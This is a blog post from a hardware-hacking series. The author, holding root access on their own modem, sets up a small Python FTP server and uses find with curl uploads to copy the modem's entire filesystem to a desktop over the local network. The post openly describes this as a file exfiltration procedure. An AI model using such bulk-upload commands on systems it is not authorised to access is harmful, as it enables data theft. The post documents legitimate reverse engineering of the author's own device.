The svson.xyz blog

MDM5. Doing filesystem cURL ups (WIP DRAFT)

Published:
Tags: mdm-story breaking-and-entering
1030 words
5 min read

In the last part we got a root shell access to the modem, but it’s still not good enough! The modem has some utilities installed on it, but it’s still rather limiting to poke around files on. It’d really hit the sweet spot if we could dump the filesystem off of the modem onto my hard drive.

We’ve got root access, so exfiltrating files isn’t going to be a problem. Worst case scenario is that we’ll have to encode the files to text and make a little script to encode file contents as text and read it into files over telnet, but I don’t feel like writing that unless I really have to.

We don’t have netcat nor scp, which is rather expected for a modem.

~ # busybox nc
nc: applet not found
~ # nc
-sh: nc: not found
~ # scp
-sh: scp: not found

Listing all of the functions that this build of busybox was compiled with gives us a couple of utilities we could use — tftp and wget (POST out data). Also there’s our old friend traceroute, and for some reason we also have cal!

Currently defined functions:
        [, [[, arp, arping, ash, awk, basename, brctl, cal, cat, catv, chmod,
        chown, cp, cut, date, dd, df, dhcprelay, dirname, dnsdomainname, du,
        dumpleases, echo, egrep, env, expr, false, fgrep, find, free, fsync,
        grep, groups, gunzip, halt, head, hostid, hostname, id, ifconfig, init,
        insmod, install, kill, killall, ln, login, logread, ls, lsmod, md5sum,
        mdev, mkdir, mkfifo, mknod, mkswap, mount, mv, netstat, ping, ping6,
        poweroff, ps, pwd, reboot, rm, rmdir, rmmod, route, sed, sh, sleep,
        sort, stat, swapoff, swapon, sync, sysctl, syslogd, tac, tail, telnetd,
        test, tftp, top, touch, tr, traceroute, traceroute6, true, tty, udhcpc,
        udhcpd, umount, uname, uniq, unzip, users, wc, wget, zcat

Listing out the arguments supported by the busybox wget implementation it doesn’t look like it supports POSTing files, so that’s no good. There is tftp. During poking around the system I noticed that there’s a (seemingly) full curl binary on it.

A fact that’s not well known (or at least I hope it’s not, otherwise I’m the one not in the know writing that statement ;)) is that cURL doesn’t only support HTTP, but in fact supports 26 protocols! Among those 26 protocols are a couple of that are of interest to us: SCP and {S,T}FTP (we have tftp available on the system, but if we didn’t then cURL could also use that).

tftp pros are probably looking confused as they’re wondering “why not just use tftp?” and there’s a good reason for it: I’ve never used tftp. So if it’s possible to use something that I’m familiar with then I’ll try going that route.

~ # curl sftp://192.168.0.100/test
curl: (1) Protocol "sftp" not supported or disabled in libcurl
~ # curl scp://192.168.0.100/test
curl: (1) Protocol "scp" not supported or disabled in libcurl
~ # curl ftp://192.168.0.100/test
curl: (7) Failed to connect to 192.168.0.100 port 21: Connection refused

Damn, still back to using TFTP or FTP. FTP it is, as I’ve used a similar method once before. I’m using pyftpdlib to create a FTP server that allows for uploads to the working directory of the script. The script creates a single user a:a with write permissions, as I had problems figuring out how to give anonymous users mkdir permissions. In a sudden moment of creativity I named the script ftpd.py.

#!/bin/python3
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer

import os
authorizer = DummyAuthorizer()
authorizer.add_user("a", "a", ".",  perm="elradfmw")
authorizer.add_anonymous(os.getcwd())

handler = FTPHandler
handler.authorizer = authorizer

address = ('',5000)
server = FTPServer((address), handler)
server.serve_forever()

Now all that’s left is to send every file over FTP using cURL. I’ll also want to send over all symlinked files for completeness. It’s a bit wasteful of disk space, but if that becomes a problem then writing a little script that re-creates all symlinks won’t be too complicated.

To send each file we’ll first need a way to find all regular files and symlinks in the filesystem. We’ll use the utility find, which is present on the modem. The maxdepth argument is rather useful when following symlinks, since there may be recursive symlinks (there were in this case).

For the first test lets produce a complete filesystem listing with file sizes and yank it out of the modem to verify that our exfiltration procedure would work.

Since I want to redirect stdout to file then I’ll have to be in a writeable directory, I chose /cache (symlinked to /mnt/userdata/cache) for that purpose.

On the desktop computer:
➜  mkdir fs-dump && cd fs-dump
➜  python3 ../ftpd.py

On the modem:
/mnt/userdata/cache # find / -type f -follow -maxdepth 10 -exec echo {} \; > file-list
/mnt/userdata/cache # curl -T file-list ftp://192.168.0.100:5000/dir/file-list --user a:a --ftp-create-dirs
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  3610    0     0  100  3610      0  14744 --:--:-- --:--:-- --:--:-- 14855

Cool! We got the file off of the modem and onto our disk. The write was into a nonexistent subdirectory (dir/) to verify that the folder creation works as expected. Let’s verify that the files completely match (better safe than sorry ;)).

➜ md5sum dir/file-list 
8a42f8a0f216cf77eff8721fc8ab3cde  dir/file-list
/mnt/userdata/cache # md5sum file-list 
8a42f8a0f216cf77eff8721fc8ab3cde  file-list

Now we can go ahead with the complete filesystem dump. Since the USB upload rates (modem to PC) are really slow with this modem then this is the right moment to switch over to WiFi. This takes a while, especially since we’re also dumping the /sys/ directory.

~ # find / -type f -follow -maxdepth 10 -exec curl -T {} ftp://192.168.0.100:5000/{} --user a:a --ftp-create-dirs \;

PS. For the transfer over WiFi I plugged it into one of those USB power meters. According to the meter (of unverified accuracy) the idle current is around 10 mA and average current when dumping files over WiFi is around 80 mA. Keep in mind that the LTE network was not connected. 5 V input voltage, like all USB devices ;). Saw peaks at around 200 mA, which would result in a power dissipation around 1 W. Guess that itty bitty heatsink makes some sense.

Next part: That's it! This is the final post of the series.

Previous part: MDM4-1. IMEI? I'm YOUREI

Series outline